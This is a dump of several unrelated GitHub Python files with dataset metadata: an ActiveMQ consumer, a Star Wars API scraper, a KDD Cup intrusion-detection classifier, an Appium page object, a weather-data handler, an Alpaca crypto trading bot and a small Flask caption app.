'\n            debug_log.logger.debug(sendstr)\n            self.sendToUdp(0, sendstr, '')\n\n    def on_disconnected(self):\n        print('disconnected')\n        self.sendToUdp(0, 'disconnected', '')\n        debug_log.logger.debug('disconnected')\n\n#        connect_and_subscribe(self.conn)\n\n##从队列接收消息\ndef receive_from_queue():\n    conn = stomp.Connection([(conf_data['mq']['host'], conf_data['mq']['port'])])\n    conn.set_listener(listener_name, SampleListener(conn))  # 注册消息监听者，异步\n    connect_and_subscribe(conn, queue_name)\n\n    while True:\n        try:\n            time.sleep(1)\n        except:\n            break\n    conn.disconnect()\n\n\n# ##从主题接收消息\n# def receive_from_topic():\n#     conn = stomp.Connection10([(conf_data['mq']['host'], conf_data['mq']['port'])], heartbeats=(4000, 4000))\n#     conn.set_listener(listener_name, SampleListener(conn))\n#     connect_and_subscribe(conn, topic_name)\n#     while 1:\n#         send_to_topic('topic')\n#         time.sleep(3)  # secs\n#\n#     conn.disconnect()\n\n\ndef connect_and_subscribe(conn, dest):\n    conn.start()\n    conn.connect(wait=True)\n    conn.subscribe(destination=dest, id=1, ack='client')  # 开始监听接收消息\n\n\nif __name__ == '__main__':\n\n    queue_name = conf_data['queue_Xlogger']\n    listener_name = conf_data['conlistener_name']\n\n    # send_to_queue('len 123')\n    # receive_from_queue()\n\n    # receive_from_topic()\n\n    debug_log.logger.debug(\"The number of CPU is:\" + str(multiprocessing.cpu_count()))\n    count = conf_data['process']\n    ps = []\n    # 创建子进程实例\n    for i in range(count):\n        p = multiprocessing.Process(target=receive_from_queue, name=\"worker\" + str(i), args=())\n        ps.append(p)\n\n    # 开启进程\n    for i in range(count):\n        ps[i].daemon = True  # 因子进程设置了daemon属性为True，主进程正常结束，它们就随着结束了。但主进程是kill掉的，就不会\n        ps[i].start()\n        debug_log.logger.debug(\"p.pid:%s\"%ps[i].pid)\n\n        debug_log.logger.debug(\"p.name: %s\"%ps[i].name)\n        debug_log.logger.debug(\"p.is_alive: %s\"%ps[i].is_alive())\n\n    signal.signal(signal.SIGTERM, Handler)\n    # time.sleep(10)\n    # while True:\n    #     try:\n    #         time.sleep(1)\n    #     except:\n    #         break\n    # 阻塞进程\n    for i in ps:\n        i.join()\n", "repo_name": "Zhaohb2017/ActiveMQ", "sub_path": "mqToDb_for_club_user_day/accept.py", "file_name": "accept.py", "file_ext": "py", "file_size_in_byte": 4962, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "io.open", "line_number": 15, "usage_type": "call"}, {"api_name": "yaml.load", "line_number": 16, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 23, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 31, "usage_type": "call"}, {"api_name": "db.DB", "line_number": 48, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 49, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 49, "usage_type": "attribute"}, {"api_name": "socket.SOCK_DGRAM", "line_number": 49, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 69, "usage_type": "call"}, {"api_name": "stomp.Connection", "line_number": 99, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 105, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 139, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 144, "usage_type": "call"}, {"api_name": "signal.signal", "line_number": 156, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 156, "usage_type": "attribute"}]}
{"seq_id": "14259481987", "text": "import asyncio\nimport csv\nimport time\nimport aiohttp\n\nstart_time = time.time()\n\nasync def fetch_data(session, url):\n    async with session.get(url) as response:\n        return await response.json()\n\nasync def fetch_person_data(session, person_url):\n    person_data = await fetch_data(session, person_url)\n    films = await asyncio.gather(*(fetch_data(session, film_url) for film_url in person_data['films']))\n    vehicles = await asyncio.gather(*(fetch_data(session, vehicle_url) for vehicle_url in person_data['vehicles']))\n    starships = await asyncio.gather(*(fetch_data(session, starship_url) for starship_url in person_data['starships']))\n    species = await asyncio.gather(*(fetch_data(session, species_url) for species_url in person_data['species']))\n    return {\n        'name': person_data['name'],\n        'gender': person_data['gender'],\n        'film_titles': ', '.join([film['title'] for film in films]),\n        'vehicle_names': ', '.join([vehicle['name'] for vehicle in vehicles]),\n        'starship_names': ', '.join([starship['name'] for starship in starships]),\n        'species_names': ', '.join([species['name'] for species in species]),\n        'created': person_data['created'],\n        'updated': person_data['edited'],\n    }\n\nasync def main():\n\n    async with aiohttp.ClientSession() as session:\n\n        for number in range(1,6):\n            people_data = await fetch_data(session, f'https://swapi.dev/api/people/?page={number}')\n            people_urls = [person_data['url'] for person_data in people_data['results']]\n            people = await asyncio.gather(*(fetch_person_data(session, person_url) for person_url in people_urls))\n\n            # write file in csv\n            csv_file = open('test2.csv', 'a')\n            fieldnames = ['name', 'gender', 'film_titles', 'vehicle_names', 'starship_names', 'species_names', 'created', 'updated']\n            writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n            writer.writeheader()\n            for person in people:\n                writer.writerow(person)\n\nif __name__ == '__main__':\n    asyncio.run(main())\n\nprint(\"--- Time taken : %s seconds ---\" % (time.time() - start_time))\n", "repo_name": "Shub456git/task_csv", "sub_path": "starwars_csv.py", "file_name": "starwars_csv.py", "file_ext": "py", "file_size_in_byte": 2171, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "time.time", "line_number": 6, "usage_type": "call"}, {"api_name": "asyncio.gather", "line_number": 14, "usage_type": "call"}, {"api_name": "asyncio.gather", "line_number": 15, "usage_type": "call"}, {"api_name": "asyncio.gather", "line_number": 16, "usage_type": "call"}, {"api_name": "asyncio.gather", "line_number": 17, "usage_type": "call"}, {"api_name": "aiohttp.ClientSession", "line_number": 31, "usage_type": "call"}, {"api_name": "asyncio.gather", "line_number": 36, "usage_type": "call"}, {"api_name": "csv.DictWriter", "line_number": 41, "usage_type": "call"}, {"api_name": "asyncio.run", "line_number": 47, "usage_type": "call"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}]}
{"seq_id": "44181718693", "text": "import numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nfrom sklearn import metrics\nimport seaborn as sd\n\ndf_train_X= pd.read_csv('kddcup.csv')\ndf_train_y=df_train_X[\"label\"]\ndf_train_X=df_train_X.iloc[:,:20]\nfrom sklearn.preprocessing import LabelEncoder\n\nnumber = LabelEncoder()\n\ndf_train_X['proto'] = number.fit_transform(df_train_X['proto'].astype(str))\ndf_train_X['service'] = number.fit_transform(df_train_X['service'].astype(str))\ndf_train_X['state'] = number.fit_transform(df_train_X['state'].astype(str))\n#df_train_X['attack_cat'] = number.fit_transform(df_train_X['attack_cat'].astype(str))\nprint(\"==================================================\")\nprint(\"KddCup Dataset\")\nprint(\" Preprocessing\")\nprint(\"==================================================\")\n\ndf_train_X.head(5)\nfrom sklearn.model_selection import train_test_split\n\n\n\nx_train,x_test,y_train,y_test = train_test_split(df_train_X,df_train_y,test_size = 0.30,random_state = 42)\n\nfrom sklearn.ensemble import RandomForestClassifier\n\nrf= RandomForestClassifier(n_estimators = 10)  \nrf.fit(x_train, y_train)\nrf_prediction = rf.predict(x_test)\nResult_2=accuracy_score(y_test, rf_prediction)*100\nfrom sklearn.metrics import confusion_matrix\n\nprint()\nprint(\"---------------------------------------------------------------------\")\nprint(\"Random Forest\")\nprint()\nprint(metrics.classification_report(y_test,rf_prediction))\nprint()\nprint(\"Random Forest Accuracy is:\",Result_2,'%')\nprint()\nprint(\"Confusion Matrix:\")\ncm2=confusion_matrix(y_test, rf_prediction)\nprint(cm2)\nprint(\"-------------------------------------------------------\")\nprint()\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nsns.heatmap(cm2, annot = True, cmap ='plasma',\n        linecolor ='black', linewidths = 1)\nplt.show()\nfrom sklearn.metrics import roc_curve\n\nfpr, tpr, _ = roc_curve(y_test, rf_prediction)\nplt.plot(fpr, tpr, marker='.', label='RF')\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.legend()\nplt.show()\n\n\n\nx_train=np.expand_dims(x_train, axis=2)\nx_test=np.expand_dims(x_test, axis=2)\ny_train=np.expand_dims(y_train,axis=1)\ny_test=np.expand_dims(y_test,axis=1)\n\n\n\"LSTM Algorithm \"\nfrom keras.models import Sequential\nfrom keras.layers import Dense, LSTM, Dropout, Activation\nfrom keras.layers.convolutional import Conv1D\nfrom keras.layers.convolutional import MaxPooling1D\n\nnb_out = 1\nmodel = Sequential()\nmodel.add(LSTM(input_shape=(20, 1), units=100, return_sequences=True))\nmodel.add(Dropout(0.2))\nmodel.add(Conv1D(filters=64, kernel_size=3, padding='same', activation='relu'))\nmodel.add(MaxPooling1D(pool_size=2))\nmodel.add(LSTM(units=50, return_sequences=False))\nmodel.add(Dropout(0.2))\nmodel.add(Dense(units=nb_out))\nmodel.add(Activation(\"linear\"))\nmodel.compile(loss='mse', optimizer='sgd', metrics=['accuracy'])\n\nprint(model.summary())\n# fit the model\nmodel.fit(x_train, y_train, epochs=1, batch_size=1, verbose=1)\nResult_3=model.evaluate(x_train,y_train,verbose=1)[1]*100\n#from sklearn.metrics import accuracy_score\nfrom sklearn import metrics\n\nLSTM_prediction = model.predict(x_test)\nfrom sklearn.metrics import confusion_matrix\n\nprint()\nprint(\"---------------------------------------------------------------------\")\nprint(\" LSTM\")\nprint()\nprint(metrics.classification_report(y_test,LSTM_prediction.round()))\nprint()\nprint(\"LSTM  Accuracy is:\",Result_3,'%')\nprint()\nprint(\"Confusion Matrix:\")\ncm2=confusion_matrix(y_test, LSTM_prediction.round())\nprint(cm2)\nprint(\"-------------------------------------------------------\")\nprint()\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nsns.heatmap(cm2, annot = True, cmap ='plasma',\n        linecolor ='black', linewidths = 1)\nplt.show()\nfrom sklearn.metrics import roc_curve\nfpr, tpr, _ = roc_curve(y_test, LSTM_prediction.round())\nplt.plot(fpr, tpr, marker='.', label='Hybird CNNLSTM')\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.legend()\nplt.show()\n\n\n\n#for i in range (len(rf_prediction)):\n#    if (rf_prediction[i] ==True ):\n#        print(\"Attack \")\n#    else:\n#        print(\"Not Attack\")\n    \ninp=int(input('Enter the Attack id'))\nif (rf_prediction[inp] ==True ):\n    print(\"Attack \")\nelse:\n    print(\"Not Attack\")\n    \n    \n    \nfig = plt.figure(figsize=(6, 4.5))\nax = fig.add_axes([0,0,1,1])\nyaxis = [Result_2,Result_3]\nxaxis=['RANDOMFOREST','LSTM']\nsd.barplot(xaxis,yaxis)\nplt.style.context('default')\nplt.title('COMPARISON PLOT',size=13,weight='bold')\nplt.show()    \n    \n#data1=df[df['attack_cat'].str.contains('DoS')]\n \n   \n#import smtplib, ssl\n#\n#port = 587  # For starttls\n#smtp_server = \"smtp.gmail.com\"\n#sender_email = \"shanvb18@gmail.com\"\n#receiver_email = \"shanvb18@gmail.com\"\n#print(\"Mail Passord\")\n#password = input(\"Enter Your Mail Password:\")\n#message =file = data1\n#\n#context = ssl.create_default_context()\n#with smtplib.SMTP(smtp_server, port) as server:\n#    server.ehlo()  # Can be omitted\n#    server.starttls(context=context)\n#    server.ehlo()  # Can be omitted\n#    server.login(sender_email, password)\n#    server.sendmail(sender_email, receiver_email, message)\n#print(\"Sending the mail Successfully\")     \n#    ", "repo_name": "praveenkumar-236/Data-Security-Approach-On-Cyber-Crime-With-Web-Vulnerability", "sub_path": "main2.py", "file_name": "main2.py", "file_ext": "py", "file_size_in_byte": 5191, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.read_csv", "line_number": 8, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 13, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 33, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 36, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 43, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 43, "usage_type": "name"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 48, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "numpy.expand_dims", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 72, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 82, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 83, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 84, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Conv1D", "line_number": 85, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.MaxPooling1D", "line_number": 86, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 87, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 88, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 89, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 90, "usage_type": "call"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 107, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 107, "usage_type": "name"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 112, "usage_type": "call"}, {"api_name": "seaborn.heatmap", "line_number": 119, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 121, "usage_type": "name"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 146, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 146, "usage_type": "name"}, {"api_name": "seaborn.barplot", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style.context", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 151, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 152, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 153, "usage_type": "name"}]}
{"seq_id": "7388124560", "text": "import os, sys\nsys.path.append(os.getcwd())\n\nfrom selenium.webdriver.common.by import By\nfrom base.base_action import BaseAction\n\nclass NetworkPage(BaseAction):\n\n    more_button = By.XPATH, '//*[@text=\"更多\"]'\n    network_button = By.XPATH, '//*[@text=\"移动网络\"]'\n    net2G_button = By.XPATH, '//*[@text=\"2G\"]'\n    net3G_button = By.XPATH, '//*[@text=\"3G\"]'\n    firstNet_button = By.ID, 'android:id/title'\n\n    def __init__(self, driver):\n        BaseAction.__init__(self, driver)\n\n    def click_3g(self):\n        self.click(self.more_button)\n        self.click(self.network_button)\n\n        ele1 = self.custom_find_ele_ById_And_content(self.firstNet_button,\"首选网络类型\")\n        ele1.click()\n\n        self.click(self.net3G_button)\n\n    def click_2g(self):\n        self.click(self.more_button)\n        self.click(self.network_button)\n        ele1 = self.custom_find_ele_ById_And_content(self.firstNet_button, \"首选网络类型\")\n        ele1.click()\n        # self.find_element(self.net2G_button).click()\n        self.click(self.net2G_button)\n", "repo_name": "rosexiang150/Po2020", "sub_path": "page/network_page.py", "file_name": "network_page.py", "file_ext": "py", "file_size_in_byte": 1060, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 2, "usage_type": "call"}, {"api_name": "base.base_action.BaseAction", "line_number": 7, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 9, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 9, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 10, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 10, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 11, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 11, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 12, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 12, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.ID", "line_number": 13, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 13, "usage_type": "name"}, {"api_name": "base.base_action.BaseAction.__init__", "line_number": 16, "usage_type": "call"}, {"api_name": "base.base_action.BaseAction", "line_number": 16, "usage_type": "name"}]}
{"seq_id": "42484430725", "text": "from settings.config import *\nfrom repos.weather_data import store_weather_data\nfrom logic.api_weather import get_last_five_days_cities_weather_data as logic\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker, declarative_base\n\ndef store_data():\n    weather_data = logic()\n    try:\n        print(CON_STR)\n    except:\n        print('error en print')\n    try:\n        engine = create_engine(CON_STR)\n        Session = sessionmaker(bind=engine)\n        session = Session()\n    except Exception as e:\n        raise e\n\n    for data in weather_data:\n        if data:\n            dt = data[\"dt\"]\n            city = data[\"city\"]\n            temp = data[\"temp\"] \n            my_timezone = data[\"timezone\"]\n            sunrise = data[\"sunrise\"] \n            sunset = data[\"sunset\"]\n            \n            #store_weather_data(**data)\n            store_weather_data(city, dt, temp, my_timezone, sunrise, sunset,session)\n    \n    session.close()", "repo_name": "montexbjeliseo/DAChallenge", "sub_path": "nivel_medio/service/handler.py", "file_name": "handler.py", "file_ext": "py", "file_size_in_byte": 960, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "logic.api_weather.get_last_five_days_cities_weather_data", "line_number": 8, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.sessionmaker", "line_number": 15, "usage_type": "call"}, {"api_name": "repos.weather_data.store_weather_data", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "36097187312", "text": "import datetime\nimport time\nimport alpaca_trade_api\nimport pandas as pd\nimport pandas_ta as ta\nimport requests\nfrom Account import Account\nfrom GeneralStrategy import (get_buy_price, get_sell_price, get_coins_and_usd)\nfrom Strategy import Strategy\nfrom Verdict import Verdict\nimport firebase as ref\n\nMock = True\nTicker = \"BTCUSD\"\n\nalpaca: alpaca_trade_api.REST = None\nbuy_price = get_buy_price()\nsell_price = get_sell_price()\n\n\ndef validate_prices():\n    # I witnessed a major glitch where the buy/sell price went haywire\n    average = (buy_price + sell_price) / 2\n    if ((buy_price / average) - 1) > 1 or ((average / sell_price) - 1) > 1:\n        return False\n\n    return True\n\n\ndef perform_action_with(action, account, current_time):\n    coins, available_usd = get_coins_and_usd(account)\n    strategy = account.strategy()\n    validation = validate_prices()\n\n    if action == Verdict.buy and float(coins) < 0.001 and validation:\n        buy(available_usd)\n        send_notification(\"LongConBot is Active!!\", \"LongConBot has completed a BUY order! How Exciting!\")\n    elif action == Verdict.sell and float(coins) > 0.0 and validation:\n        sell(coins)\n        send_notification(\"LongConBot is Active!!\", \"LongConBot has completed a SELL order! How Exciting!\")\n    else:\n        print(\"\\tNo Action Required\")\n\n\ndef get_data():\n    daily_data = consolidate_data(1440)\n    current_time = str(int(time.time()))\n\n    strat = Strategy(daily_data)\n    action = strat.decide\n    perform_action_with(action, Account.paper1, current_time)\n\n    print(\"Script Completed. Fuck you.\")\n\n\ndef consolidate_data(period):\n    bars = get_bars(period_days=1500, interval_days=period)\n    df = pd.DataFrame(data=bars)\n    close = df['c']\n\n    multiple = float(get_puell_multiple().json())\n    sma730 = ta.sma(close, length=730)\n    last_sma730 = sma730[len(sma730) - 1]\n    fng = int(get_fng_index())\n    price = close[len(close) - 1]\n\n    data = {\n        \"puell\": multiple,\n        \"sma730\": last_sma730,\n        \"fng\": fng,\n        \"price\": price\n    }\n    return data\n\n\ndef get_puell_multiple():\n    url = \"https://puell-multiple-92357-default-rtdb.firebaseio.com/puell.json\"\n    headers = {'content-type': 'application/json; charset=UTF-8'}\n    data = requests.get(url, headers=headers)\n    return data\n\n\ndef get_fng_index():\n    url = \"https://api.alternative.me/fng/\"\n    response = requests.get(url)\n    value = response.json()[\"data\"][0][\"value\"]\n    return value\n\n\ndef get_bars(period_days, interval_days):\n    rest = alpaca_trade_api.rest\n    now = time.time()\n    days_ago = period_days * 24 * 60 * 60\n    delta = now - days_ago\n    formatted_start = str(datetime.datetime.utcfromtimestamp(delta).isoformat(timespec='seconds')) + 'Z'\n    formatted_now = str(datetime.datetime.utcnow().isoformat(timespec='seconds')) + 'Z'\n\n    bars = alpaca.get_bars(\"BTCUSD\", timeframe=rest.TimeFrame(1, rest.TimeFrameUnit.Day),\n                           start=formatted_start, end=formatted_now, market_type=rest.MarketType.crypto, limit=10000)\n    return bars\n\n\ndef set_alpaca_account(account):\n    global alpaca\n    alpaca = account.alpaca_account()\n    \n    \ndef send_notification(title, body):\n    url = \"https://awj5pj35ii.execute-api.us-east-2.amazonaws.com/send_notification\"\n    params = {\n        \"title\": title,\n        \"body\": body,\n        \"token\": ref.get_data(\"token\").json()\n    }\n    requests.post(url, params=params)\n\n\ndef buy(cash):\n    print(\"Action -> BUY\")\n\n    response = alpaca.submit_order(\n        symbol=Ticker,\n        notional=cash,\n        side=\"buy\",\n        type=\"market\",\n        time_in_force='fok'\n    )\n\n    if response.__getattr__('failed_at') is not None:\n        buy(cash)\n\n\ndef sell(coins):\n    print(\"Action -> SELL\")\n\n    response = alpaca.submit_order(\n        symbol=Ticker,\n        qty=coins,\n        side=\"sell\",\n        type=\"market\",\n        time_in_force='fok'\n    )\n\n    if response.__getattr__('failed_at') is not None:\n        sell(coins)\n\n\ndef start():\n    global alpaca\n    if Mock:\n        set_alpaca_account(Account.paper1)\n    else:\n        set_alpaca_account(Account.real)\n\n    get_data()\n\n\ndef lambda_handler(event, context):\n    print(\"Starting Long Con Ignition\")\n    start()\n    return \"Hello World\"\n\n\nif __name__ == '__main__':\n    lambda_handler(None, None)\n", "repo_name": "webclinic017/Project-Killer-Public", "sub_path": "LongConBot/LongConBot.py", "file_name": "LongConBot.py", "file_ext": "py", "file_size_in_byte": 4301, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "alpaca_trade_api.REST", "line_number": 16, "usage_type": "attribute"}, {"api_name": "GeneralStrategy.get_buy_price", "line_number": 17, "usage_type": "call"}, {"api_name": "GeneralStrategy.get_sell_price", "line_number": 18, "usage_type": "call"}, {"api_name": "GeneralStrategy.get_coins_and_usd", "line_number": 31, "usage_type": "call"}, {"api_name": "Verdict.Verdict.buy", "line_number": 35, "usage_type": "attribute"}, {"api_name": "Verdict.Verdict", "line_number": 35, "usage_type": "name"}, {"api_name": "Verdict.Verdict.sell", "line_number": 38, "usage_type": "attribute"}, {"api_name": "Verdict.Verdict", "line_number": 38, "usage_type": "name"}, {"api_name": "time.time", "line_number": 47, "usage_type": "call"}, {"api_name": "Strategy.Strategy", "line_number": 49, "usage_type": "call"}, {"api_name": "Account.Account.paper1", "line_number": 51, "usage_type": "attribute"}, {"api_name": "Account.Account", "line_number": 51, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 58, "usage_type": "call"}, {"api_name": "pandas_ta.sma", "line_number": 62, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 79, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 85, "usage_type": "call"}, {"api_name": "alpaca_trade_api.rest", "line_number": 91, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 92, "usage_type": "call"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 95, "usage_type": "attribute"}, {"api_name": "datetime.datetime.utcnow", "line_number": 96, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 96, "usage_type": "attribute"}, {"api_name": "firebase.get_data", "line_number": 113, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 115, "usage_type": "call"}, {"api_name": "Account.Account.paper1", "line_number": 151, "usage_type": "attribute"}, {"api_name": "Account.Account", "line_number": 151, "usage_type": "name"}, {"api_name": "Account.Account.real", "line_number": 153, "usage_type": "attribute"}, {"api_name": "Account.Account", "line_number": 153, "usage_type": "name"}]}
{"seq_id": "18943191716", "text": "\nfrom flask.app import Flask\nfrom flask import render_template, url_for, redirect\nimport re\n\n#if entrypoint is not defined, app engine will look for an app\napp = Flask(__name__)\n\nSortedCap = []\nSentiments = [\"Happiness\",\"Confused\",\"Fear\",\"Anger\",\"Surprise\"]\n\nCaptions = [\"The only joy in the world is to begin.\",\n            \"Happiness depends upon ourselves.\",\n            \"Happy people plan actions, they don’t plan results.\",\n            \"Courage is knowing what not to fear.\",\n            \"Find out what you’re afraid of and go live there to upcome your fear.\",\n            \"Happiness is a direction, not a place.\",\n            \"People should find happiness in the little things, like family.\",\n            \"I just want to be someone, to mean something to anyone…\",\n            \"sometime hate is just confused love!\",\n            \"A man in a passion, rides a mad horse.\",\n            \"A angry man has no good neighbours.\",\n            \"He who angers you conquers you\"]\n\n\nfor i in range(0, len(Captions)):\n    hap = re.search(\"Happ|joy\", Captions[i])\n    fear = re.search(\"fear\", Captions[i])\n    anger = re.search(\"anger\", Captions[i])\n    if(fear):\n        SortedCap.append(Captions[i])\n\n@app.route('/')\ndef display():\n    return render_template(\"index.html\", len = len(Sentiments), Sentiments = Sentiments, len1 = len(SortedCap), SortedCap = SortedCap)\n\n#@app.route('/checkF')\n#def checkF(feel):\n #   SortedCap = []\n#    if(feel==\"Happiness\"):\n#        for i in range(0, len(Captions)):\n#            hap = re.search(\"Happ|joy\", Captions[i])\n#            if(hap):\n#                SortedCap.append(Captions[i])\n#    elif(feel==\"Fear\"):\n#        for j in range(0,len(SortedCap)):\n#            fear = re.search(\"fear\",Captions[j])\n#            if(fear):\n#                if(SortedCap):\n#                    SortedCap = []\n#                    SortedCap.append(Captions[i])\n#    return render_template(\"result.html\", SortedCap = SortedCap)\n\nif __name__ == '__main__':\n    # This is used when running locally only. When deploying to Google App\n    # Engine, a webserver process such as Gunicorn will serve the app. This\n    # can be configured by adding an `entrypoint` to app.yaml.\n    app.run(use_reloader = True, debug=True)\n\n", "repo_name": "sdhaniwar/pythonsample", "sub_path": "webapp.py", "file_name": "webapp.py", "file_ext": "py", "file_size_in_byte": 2236, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.app.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "re.search", "line_number": 27, "usage_type": "call"}, {"api_name": "re.search", "line_number": 28, "usage_type": "call"}, {"api_name": "re.search", "line_number": 29, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 35, "usage_type": "call"}]}
